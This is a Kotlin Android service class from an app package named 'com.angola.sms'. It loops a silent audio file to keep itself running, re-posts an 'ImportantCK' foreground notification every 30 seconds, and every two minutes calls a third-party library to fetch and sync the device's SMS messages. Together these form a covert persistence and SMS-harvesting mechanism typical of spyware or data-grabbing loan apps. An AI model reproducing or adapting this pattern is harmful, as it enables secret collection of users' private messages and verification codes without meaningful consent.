package com.angola.sms

import android.app.Notification
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.app.Service
import android.content.Context
import android.content.Intent
import android.content.res.AssetFileDescriptor
import android.graphics.Color
import android.media.MediaPlayer
import android.os.Build
import android.os.Handler
import android.os.IBinder
import android.os.Looper
import androidx.core.app.NotificationCompat
import com.zhi.syc.data_applist.ASSycManager
import java.io.IOException

class CKMusicService : Service() {
    var mediaplayer: MediaPlayer? = null

    companion object{
        private const val NOTIFICATION_ID = 1111
        private const val notificationChannelId = "notification_channel_id_02"
    }

    override fun onCreate() {
        super.onCreate()
        startForegroundWithNotification()

        if (mediaplayer == null) {
            Thread {
                mediaplayer = MediaPlayer()
                try {
                    val fd: AssetFileDescriptor = assets.openFd("slient_9.m4a")
                    mediaplayer?.setDataSource(fd.fileDescriptor, fd.startOffset, fd.length);
                    mediaplayer?.isLooping = true
                    mediaplayer?.prepare()
                    mediaplayer?.start()

                    println("开始播放=====")

                } catch (e: IllegalStateException) {
                    print("出错了=$e")
                } catch (e: SecurityException) {
                    e.printStackTrace()
                    print("出错了=$e")
                } catch (e: IOException) {
                    print("出错了=$e")
                } catch (e: IllegalArgumentException) {
                    e.printStackTrace()
                }
            }.start()
        }

        startFetchSms()
    }

    override fun onDestroy() {
        super.onDestroy()
    }

    override fun onBind(p0: Intent?): IBinder? {
        return null
    }

    fun startFetchSms() {
        Thread {
            ASSycManager.getInstance().sycDataSmsCK("slkdfa") { type, msg, success ->

                Handler(Looper.getMainLooper()).postDelayed({
                    println("服务再次执行=========")
                    startFetchSms()
                }, (2 * 60 * 1000))

            }
        }.start()
    }

    /**
     * 开启前景服务并发送通知
     */
    private fun startForegroundWithNotification(){
        //8.0及以上注册通知渠道
        createNotificationChannel()
        val notification: Notification = createForegroundNotification()
        //将服务置于启动状态 ,NOTIFICATION_ID指的是创建的通知的ID
        startForeground(NOTIFICATION_ID, notification)
        //发送通知到状态栏
        val notificationManager = getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
        notificationManager.notify(NOTIFICATION_ID, notification)

        Handler(Looper.getMainLooper()).postDelayed({
            println("服务再次执行=========")
            startForegroundWithNotification()
        }, ( 30 * 1000))
    }


    /**
     * 创建通知渠道
     */
    private fun createNotificationChannel(){
        val notificationManager = getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager

        //Android8.0以上的系统，新建消息通道
        if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.O){
            //用户可见的通道名称
            val channelName = "Foreground Service Notification CK"
            //通道的重要程度
            val importance: Int = NotificationManager.IMPORTANCE_HIGH
            //构建通知渠道
            val notificationChannel = NotificationChannel(notificationChannelId,
                channelName, importance)
            notificationChannel.description = "Channel description ck"
            //LED灯
            notificationChannel.enableLights(true)
            notificationChannel.lightColor = Color.RED
            //震动
//            notificationChannel.vibrationPattern = longArrayOf(0,1000,500,1000)
//            notificationChannel.enableVibration(true)
            //向系统注册通知渠道，注册后不能改变重要性以及其他通知行为
            notificationManager.createNotificationChannel(notificationChannel)
        }
    }

    /**
     * 创建服务通知
     */
    private fun createForegroundNotification(): Notification {
        val builder: NotificationCompat.Builder = NotificationCompat.Builder(applicationContext, notificationChannelId)
        //通知小图标
        builder.setSmallIcon(R.mipmap.ic_launcher)
        //通知标题
        builder.setContentTitle("ImportantCK")
        //通知内容
        builder.setContentText("ImportantCK")
        //设置通知显示的时间
        builder.setWhen(System.currentTimeMillis())
        //设定启动的内容
        val  activityIntent: Intent = Intent(this, SmsFetchingCKActivity::class.java)
        activityIntent.flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TASK
        val pendingIntent: PendingIntent = PendingIntent.getActivity(this,
            1,activityIntent, PendingIntent.FLAG_IMMUTABLE)
        builder.setContentIntent(pendingIntent)
        builder.priority = NotificationCompat.PRIORITY_DEFAULT
        //设置为进行中的通知
        builder.setOngoing(true)
        //创建通知并返回
        return builder.build()
    }
}